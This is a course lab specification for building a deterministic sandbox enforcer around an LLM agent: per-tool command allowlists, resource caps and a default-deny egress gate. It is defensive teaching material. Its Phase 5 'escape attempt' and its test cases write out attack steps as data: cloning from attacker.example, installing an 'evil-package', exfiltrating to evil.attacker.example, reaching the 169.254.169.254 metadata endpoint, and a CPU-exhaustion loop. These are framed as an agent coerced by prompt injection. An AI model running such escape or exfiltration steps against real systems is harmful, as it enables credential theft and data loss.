# Lab Specification — Module B7: Sandboxes and Execution Controls

**Course**: Course 2B — Securing & Attacking Harnesses and LLMs
**Module**: B7 — Sandboxes and Execution Controls
**Duration**: 60–75 minutes
**Environment**: Node.js 20+ (TypeScript). Linux or macOS. No GPU. On macOS the cgroup-based resource caps in Phase 2 fall back to `ulimit`-based enforcement (documented in the phase). The egress gate in Phase 3 is OS-independent (runs in-process). No Docker required for the core lab — the lab builds the *policy enforcer* that would sit in front of any sandbox technology; Phase 5 has an optional Docker integration.

---

## Learning objectives

By the end of this lab you will have built the **Sandbox Policy Enforcer** — the three deterministic controls from B7.2 that contain an agent under coercion even before monitoring:

1. **An allowlist-based command-execution gate** with per-tool scopes (the realization of "allowlist, not denylist" + per-tool execution scopes). No LLM at runtime.
2. **A resource-cap enforcer** — CPU/wall-clock, memory, process-count, and disk-write limits — applied to every spawned process (the control for OWASP ASI09).
3. **A default-deny egress gate** with per-task allowlisting, including the always-blocked metadata endpoint. Enforced at the application layer (the lab's egress proxy), demonstrating the network-layer model distinct from CrabTrap's LLM-judge layer.
4. **A sandbox-escape attempt** — you will run attacker-chosen code inside the enforcer and watch each control engage: the command gate, the resource caps, and (the climax) the egress gate denying a network escape attempt.

The lab's thesis: the controls are deterministic, layered, and survive the agent being coerced. The moment of the lab is the last step — watching the egress gate deny your escape attempt. That moment is the entire module in one demonstration.

---

## Phase 0 — Setup (3 min)

```bash
mkdir b7-sandbox-lab && cd b7-sandbox-lab
npm init -y
npm install -D typescript @types/node tsx
npx tsc --init --target es2022 --module nodenext --strict true
```

Create the project structure:

```
b7-sandbox-lab/
  policy.json          # the deterministic policy (allowlists, caps, egress)
  src/
    types.ts           # type definitions
    command-gate.ts    # Phase 1: allowlist command gate
    resource-caps.ts   # Phase 2: cgroup/ulimit enforcement
    egress-gate.ts     # Phase 3: default-deny egress gate
    enforcer.ts        # Phase 4: wires the three together + runs a command
    escape.ts          # Phase 5: the escape attempt
```

No GPU, no Docker (yet), no external network. The lab is self-contained.

---

## Phase 1 — The allowlist command gate (15 min)

The first control: what code is the agent allowed to run? An allowlist, scoped per tool. No LLM at runtime — pure deterministic matching.

### 1.1 Types

```typescript
// src/types.ts
export type Decision = { decision: "allow" | "deny" | "escalate"; reason: string };

export interface CommandPattern {
  readonly name: string;
  readonly command: string;                    // e.g. "pytest", "git"
  readonly argPatterns: readonly (readonly string[])[]; // allowlist of arg-signatures
  readonly allowExtraArgs: boolean;            // if false, args must match a signature exactly
}

export interface ToolScope {
  readonly allow: readonly CommandPattern[];
}

export interface CommandPolicy {
  readonly toolScopes: Readonly<Record<string, ToolScope>>;
}
```

### 1.2 The policy (deterministic — compile once, enforce at runtime)

Create `policy.json` with per-tool scopes. This is the JSON the IronCurtain model would compile from plain English offline; here you write it directly:

```json
{
  "toolScopes": {
    "run_tests": {
      "allow": [
        { "name": "pytest", "command": "pytest", "argPatterns": [["-v"], ["-v", "-x"]], "allowExtraArgs": false },
        { "name": "make-test", "command": "make", "argPatterns": [["test"], ["check"]], "allowExtraArgs": false }
      ]
    },
    "install_deps": {
      "allow": [
        { "name": "pip-install", "command": "pip", "argPatterns": [["install", "-r", "requirements.txt"]], "allowExtraArgs": false }
      ]
    },
    "read_file": {
      "allow": [
        { "name": "cat", "command": "cat", "argPatterns": [], "allowExtraArgs": true }
      ]
    }
  }
}
```

Note the absence: no `git`, no `curl`, no `python -c`, no shell. The `run_tests` tool may not invoke `git`; the `install_deps` tool may not invoke `pytest`. Cross-tool command injection is closed at the policy layer.

### 1.3 Implement the gate

```typescript
// src/command-gate.ts
import type { CommandPolicy, Decision } from "./types.js";

export function checkCommandPolicy(
  tool: string,
  command: string,
  args: readonly string[],
  policy: CommandPolicy
): Decision {
  const scope = policy.toolScopes[tool];
  if (!scope) {
    return { decision: "deny", reason: `no scope for tool "${tool}" — deny by default` };
  }
  for (const pattern of scope.allow) {
    if (pattern.command !== command) continue;
    if (matchesArgs(args, pattern.argPatterns, pattern.allowExtraArgs)) {
      return { decision: "allow", reason: `"${command} ${args.join(" ")}" matched allowlist entry "${pattern.name}" for tool "${tool}"` };
    }
  }
  return {
    decision: "deny",
    reason: `"${command}" not in allowlist for tool "${tool}" — allowlist is: [${scope.allow.map(p => p.command).join(", ")}]`
  };
}

function matchesArgs(
  args: readonly string[],
  signatures: readonly (readonly string[])[],
  allowExtra: boolean
): boolean {
  if (signatures.length === 0) return allowExtra ? true : args.length === 0;
  return signatures.some(sig => arrayStartsWith(args, sig) && (allowExtra || args.length === sig.length));
}

function arrayStartsWith(arr: readonly string[], prefix: readonly string[]): boolean {
  return prefix.every((v, i) => arr[i] === v);
}
```

### 1.4 Test cases

Write `src/command-gate.test.ts` (or run inline) and verify:

- `checkCommandPolicy("run_tests", "pytest", ["-v"], policy)` → **allow**
- `checkCommandPolicy("run_tests", "git", ["clone", "https://attacker.example/repo"], policy)` → **deny** (git not in run_tests scope)
- `checkCommandPolicy("install_deps", "pytest", [], policy)` → **deny** (cross-tool injection blocked)
- `checkCommandPolicy("install_deps", "pip", ["install", "evil-package"], policy)` → **deny** (arg signature not in allowlist — only `-r requirements.txt` is permitted)
- `checkCommandPolicy("unknown_tool", "ls", [], policy)` → **deny** (no scope — deny by default)

Every deny must carry a reason. The reason is the audit log entry the sidecar monitor (B8) will correlate.

---

## Phase 2 — The resource-cap enforcer (15 min)

The second control: hard resource caps. Without them, contained code is induced into `while true: pass` or a fork-bomb (ASI09) and can fail-OPEN by OOM-killing the monitor. The caps are enforced by cgroups (Linux) or `ulimit` (macOS fallback).

### 2.1 The cap type

```typescript
// src/types.ts (add)
export interface ResourceCaps {
  readonly cpuSeconds: number;     // wall-clock kill
  readonly memoryMb: number;       // RSS limit (OOM-kill the contained process)
  readonly processCount: number;   // fork limit
  readonly diskWriteMb: number;    // write quota (best-effort in this lab)
}
```

### 2.2 The enforcer

```typescript
// src/resource-caps.ts
import { spawn, type ChildProcess, type SpawnOptions } from "node:child_process";
import type { ResourceCaps } from "./types.js";

export interface CappedProcess {
  readonly child: ChildProcess;
  readonly kill: (reason: string) => void;
}

export function spawnWithCaps(
  command: string,
  args: readonly string[],
  caps: ResourceCaps
): CappedProcess {
  // Linux: prefer cgroup v2 enforcement (see stretch in 2.4). macOS/other: ulimit fallback.
  const isLinux = process.platform === "linux";
  const spawnOptions: SpawnOptions = {
    env: { ...process.env },
    // ulimit-based fallback — applies to the child process tree
    shell: false,
  };
  if (!isLinux) {
    // macOS fallback: ulimit via a wrapper shell. Documented limitation: ulimit does not
    // enforce memory on subprocesses as strictly as cgroups. The lab demonstrates the MODEL;
    // production uses cgroups/Firecracker.
    spawnOptions.env!.ULIMIT_MEMORY_KB = String(caps.memoryMb * 1024);
    spawnOptions.env!.ULIMIT_CPU_SEC = String(caps.cpuSeconds);
    spawnOptions.env!.ULIMIT_PROCS = String(caps.processCount);
  }

  const child = spawn(command, args, spawnOptions);
  const timers: NodeJS.Timeout[] = [];

  // Wall-clock kill (works cross-platform)
  const wallClock = setTimeout(() => {
    if (!child.killed) child.kill("SIGKILL");
  }, caps.cpuSeconds * 1000);
  timers.push(wallClock);

  const kill = (reason: string): void => {
    timers.forEach(clearTimeout);
    if (!child.killed) child.kill("SIGKILL");
    console.error(`[resource-caps] killed: ${reason}`);
  };

  return { child, kill };
}
```

### 2.3 Test the caps

Run a fork-bomb attempt through the enforcer and verify it is killed by the wall-clock timer:

```typescript
// Try: a script that loops forever (ASI09 pattern)
const proc = spawnWithCaps("node", ["-e", "while(true){}"], { cpuSeconds: 2, memoryMb: 256, processCount: 10, diskWriteMb: 50 });
proc.child.on("exit", (code, signal) => {
  console.log(`exited code=${code} signal=${signal}`); // expect signal=SIGKILL after ~2s
});
```

The contained code is killed before it can do harm. The monitor (you, in this lab) survives because the cap killed the contained process, not the host.

### 2.4 Stretch (Linux only): real cgroup v2 enforcement

On Linux, the production-grade enforcement is cgroup v2. Write the spawn wrapper to create a cgroup, move the child into it, and write the caps:

```bash
# Pseudocode for the cgroup creation (run as root or with delegated cgroup delegation)
mkdir /sys/fs/cgroup/agent-task-$$
echo $((memoryMb * 1024 * 1024)) > /sys/fs/cgroup/agent-task-$/memory.max
echo $((cpuSeconds * 1000000)) > /sys/fs/cgroup/agent-task-$/cpu.max  # quota/period
echo $CHILD_PID > /sys/fs/cgroup/agent-task-$/cgroup.procs
```

Document which platform you tested on. The model is the same on both; the enforcement strength is stronger on Linux with cgroups.

---

## Phase 3 — The default-deny egress gate (15 min)

The third control — and the climax of the lab. The sandbox's network namespace starts with egress denied to everything. Each task carries an allowlist. The metadata endpoint is always blocked. This is the network-layer model, distinct from CrabTrap's LLM-judge layer.

### 3.1 The egress policy

Add to `policy.json`:

```json
{
  "egress": {
    "default": "deny",
    "taskAllowlist": {
      "web_search": ["search.example-corp.net", "api.search.example-corp.net"],
      "fetch_docs": ["docs.spec.host"],
      "install_deps": ["registry-proxy.internal"]
    },
    "alwaysBlocked": ["169.254.169.254", "169.254.170.2", "metadata.google.internal"]
  }
}
```

The metadata endpoints are in `alwaysBlocked` — they are never allowlisted by any task. 169.254.169.254 (AWS/Azure/GCP), 169.254.170.2 (ECS task metadata), and metadata.google.internal are the cloud-credential endpoints. Block them always.

### 3.2 The gate

```typescript
// src/egress-gate.ts
import type { EgressPolicy, Decision } from "./types.js";

export function checkEgress(taskId: string, host: string, policy: EgressPolicy): Decision {
  // 1. Always-block list (metadata services) — checked first, never overridable.
  if (policy.alwaysBlocked.some(blocked => host === blocked || host.endsWith("." + blocked))) {
    return {
      decision: "deny",
      reason: `host "${host}" is in the always-blocked list (metadata service — would hand out cloud credentials)`
    };
  }
  // 2. Per-task allowlist.
  const allow = policy.taskAllowlist[taskId];
  if (allow && allow.some(h => host === h || host.endsWith("." + h))) {
    return { decision: "allow", reason: `host "${host}" allowlisted for task "${taskId}"` };
  }
  // 3. Default deny.
  return {
    decision: "deny",
    reason: `default-deny: host "${host}" not allowlisted for task "${taskId}"`
  };
}
```

### 3.3 Test cases

Verify the gate's decisions:

- `checkEgress("web_search", "search.example-corp.net", policy)` → **allow**
- `checkEgress("web_search", "evil.attacker.example", policy)` → **deny** (default-deny)
- `checkEgress("fetch_docs", "search.example-corp.net", policy)` → **deny** (cross-task — fetch_docs may not reach web_search's host)
- `checkEgress("install_deps", "registry.npmjs.org", policy)` → **deny** (only the validating registry proxy is allowlisted — typosquatted public-registry packages are unreachable)
- `checkEgress("web_search", "169.254.169.254", policy)` → **deny** (metadata — always blocked, even for an allowlisted task)
- `checkEgress("any_task", "metadata.google.internal", policy)` → **deny** (GCP metadata — always blocked)

The metadata block is checked FIRST and is never overridable. A coerced agent cannot reach the cloud role even if its task allowlists a host that happens to resolve to the metadata IP.

---

## Phase 4 — The enforcer: wire the three together (10 min)

`src/enforcer.ts` ties the three gates to an actual sandboxed execution. Every outbound action passes through all three:

```typescript
// src/enforcer.ts
import { readFileSync } from "node:fs";
import { checkCommandPolicy } from "./command-gate.js";
import { spawnWithCaps } from "./resource-caps.js";
import { checkEgress } from "./egress-gate.js";
import type { CommandPolicy, EgressPolicy, ResourceCaps, Decision } from "./types.js";

export interface EnforcementConfig {
  readonly commandPolicy: CommandPolicy;
  readonly egressPolicy: EgressPolicy;
  readonly caps: ResourceCaps;
}

export function loadConfig(path: string): EnforcementConfig {
  const raw = JSON.parse(readFileSync(path, "utf-8"));
  return {
    commandPolicy: { toolScopes: raw.toolScopes },
    egressPolicy: raw.egress,
    caps: { cpuSeconds: 10, memoryMb: 512, processCount: 20, diskWriteMb: 100 },
  };
}

export function runSandboxed(
  tool: string,
  command: string,
  args: readonly string[],
  cfg: EnforcementConfig,
  onStdout: (data: Buffer) => void,
  onStderr: (data: Buffer) => void
): { ok: boolean; decisions: Decision[] } {
  const decisions: Decision[] = [];

  // GATE 1 — command policy (allowlist, per-tool scope)
  const cmdDecision = checkCommandPolicy(tool, command, args, cfg.commandPolicy);
  decisions.push(cmdDecision);
  if (cmdDecision.decision !== "allow") {
    console.error(`[enforcer] BLOCKED at command gate: ${cmdDecision.reason}`);
    return { ok: false, decisions };
  }

  // GATE 2 — resource caps (applied to the spawned process)
  const proc = spawnWithCaps(command, args, cfg.caps);
  proc.child.stdout?.on("data", onStdout);
  proc.child.stderr?.on("data", onStderr);

  // GATE 3 — egress is enforced per outbound connection; in this lab we hook DNS/connect
  // via the egress-gate check called from a connection interceptor (see Phase 5).
  // For now: the gate function checkEgress() is exported and the escape attempt (Phase 5)
  // routes its connection through it.

  return { ok: true, decisions };
}
```

The three gates are layered: command first (deny before spawning), caps second (enforced on the spawned process), egress third (enforced on every outbound connection). Defense-in-depth — a failure of one gate is caught by the next.

---

## Phase 5 — The escape attempt (10 min)

The climax. You are now the attacker. You have coerced the agent (imagine via indirect injection in a fetched document) into running a script that tries to reach the network. Run it through the enforcer and watch each gate engage.

### 5.1 The attacker payload

`src/escape.ts`:

```typescript
import { loadConfig, runSandboxed } from "./enforcer.js";
import { checkEgress } from "./egress-gate.js";
import { resolve } from "node:dns/promises";

const cfg = loadConfig("./policy.json");

console.log("=== ESCAPE ATTEMPT 1: run git from inside the run_tests tool ===");
// Attacker tries to clone a malicious repo via the run_tests tool.
runSandboxed("run_tests", "git", ["clone", "https://attacker.example/repo"], cfg,
  () => {}, (d) => process.stderr.write(d));

console.log("\n=== ESCAPE ATTEMPT 2: resource exhaustion (ASI09) ===");
// Attacker tries to burn CPU / fork-bomb. Killed by the wall-clock cap.
runSandboxed("run_tests", "node", ["-e", "while(true){}"], cfg,
  () => {}, (d) => process.stderr.write(d));

console.log("\n=== ESCAPE ATTEMPT 3: reach the network (egress gate) ===");
// Attacker (now successfully running code) tries to exfiltrate to an external host.
// The agent's code resolves the host and attempts a connection; the egress gate decides.
async function attemptEgress(host: string, task: string): Promise<void> {
  const decision = checkEgress(task, host, cfg.egressPolicy);
  console.log(`[egress] task="${task}" host="${host}" → ${decision.decision.toUpperCase()} (${decision.reason})`);
  if (decision.decision === "allow") {
    try {
      const addrs = await resolve(host);
      console.log(`  resolved to: ${addrs.join(", ")} — CONNECTION WOULD PROCEED`);
    } catch {
      console.log("  DNS resolution failed (no real network needed for the lab)");
    }
  }
}

await attemptEgress("evil.attacker.example", "web_search");   // → DENY (default-deny)
await attemptEgress("search.example-corp.net", "web_search");  // → ALLOW (allowlisted)
await attemptEgress("169.254.169.254", "web_search");          // → DENY (metadata, always)
await attemptEgress("registry.npmjs.org", "install_deps");     // → DENY (only registry-proxy.internal)
```

### 5.2 Run it

```bash
npx tsx src/escape.ts
```

### 5.3 What you should see

- **Attempt 1** → `BLOCKED at command gate: "git" not in allowlist for tool "run_tests"` — the cross-tool command injection never spawns a process.
- **Attempt 2** → the spawned `node -e "while(true){}"` runs, then is killed by the wall-clock cap after ~10 seconds with `[resource-caps] killed: wall-clock exceeded`. The contained code never OOMs the host.
- **Attempt 3a** → `DENY (default-deny: host "evil.attacker.example" not allowlisted for task "web_search")` — exfiltration blocked at the network layer.
- **Attempt 3c** → `DENY (host "169.254.169.254" is in the always-blocked list (metadata service — would hand out cloud credentials))` — the cloud role is unreachable even from an allowlisted task.

**The moment**: Attempt 3a. The attacker's code is running inside the sandbox. It has been coerced into existence. It tries to reach the network. **The egress gate denies it.** That denial — deterministic, at the network layer, un-manipulable by prompt injection — is the entire module in one event. The escape attempt survived the command gate (imagine it used an allowed command) and would have survived a sandbox escape (the network namespace policy holds regardless). The blast radius is contained.

---

## Phase 6 — Stretch: add the sidecar monitor (optional, 10 min)

Write a minimal monitor that subscribes to the enforcer's decision events and the spawned process's resource usage, and emits structured events suitable for B8's pipeline.

```typescript
// src/monitor.ts (stretch)
import type { Decision } from "./types.js";

export interface MonitorEvent {
  readonly ts: string;        // ISO timestamp
  readonly kind: "command" | "egress" | "resource" | "behavioral";
  readonly decision: Decision;
  readonly context: Readonly<Record<string, unknown>>;
}

const events: MonitorEvent[] = [];

export function emit(ev: MonitorEvent): void {
  events.push(ev);
  // Out-of-band: in production this writes to an append-only log the contained code cannot reach.
  console.log(JSON.stringify(ev));
}

export function alertOnAnomalies(): readonly MonitorEvent[] {
  // Flag: denied egress bursts (C2 attempt signature)
  const egressDenies = events.filter(e => e.kind === "egress" && e.decision.decision === "deny");
  // Flag: repeated command denies (brute-force pattern)
  const cmdDenies = events.filter(e => e.kind === "command" && e.decision.decision === "deny");
  // Flag: resource kills (ASI09)
  const kills = events.filter(e => e.kind === "resource");
  return [...egressDenies, ...cmdDenies, ...kills];
}
```

Wire `emit()` into the enforcer's decision points. The output is the structured event stream B8 will consume. The principle: the monitor DETECTS, the gates PREVENT, and the two together produce the auditable timeline ("coerced @ step 14, ran cmd @ 15, egress denied @ 16, flagged @ 17").

---

## Deliverables

- `policy.json` — the deterministic policy (per-tool command allowlists, resource caps, default-deny egress with always-blocked metadata) — Phase 1.1 + 3.1
- `src/types.ts` — the type definitions — Phases 1–3
- `src/command-gate.ts` — the allowlist command gate with per-tool scopes — Phase 1
- `src/resource-caps.ts` — the cgroup/ulimit resource-cap enforcer — Phase 2
- `src/egress-gate.ts` — the default-deny egress gate with always-blocked metadata — Phase 3
- `src/enforcer.ts` — the three-gate composition — Phase 4
- `src/escape.ts` — the escape attempt demonstrating all three gates engaging — Phase 5
- (optional) `src/monitor.ts` — the sidecar monitor emitting B8-ready events — Phase 6

## Success criteria

- [ ] `checkCommandPolicy` returns the correct allow/deny for all five Phase-1.4 test cases, with a reason on every deny.
- [ ] `spawnWithCaps` kills an infinite-loop process via the wall-clock cap before it runs unbounded (ASI09 contained).
- [ ] `checkEgress` returns the correct allow/deny for all six Phase-3.3 test cases, including the always-blocked metadata endpoint.
- [ ] `escape.ts` runs and demonstrates all three gates engaging: the command gate blocks the git-from-pytest cross-tool injection; the resource caps kill the infinite loop; the egress gate denies the exfiltration AND the metadata reach.
- [ ] Every deny carries a reason suitable for the audit log (the input to B8's observability pipeline).
- [ ] No LLM is called at runtime. Every decision is deterministic string/regex/number matching. (The IronCurtain model; contrast CrabTrap.)
- [ ] A one-paragraph reflection in `REFLECTIONS.md`: which gate would have caught the `git clone attacker.example` + post-checkout-hook attack from B7's anti-patterns, and which would have caught it if the command gate failed?
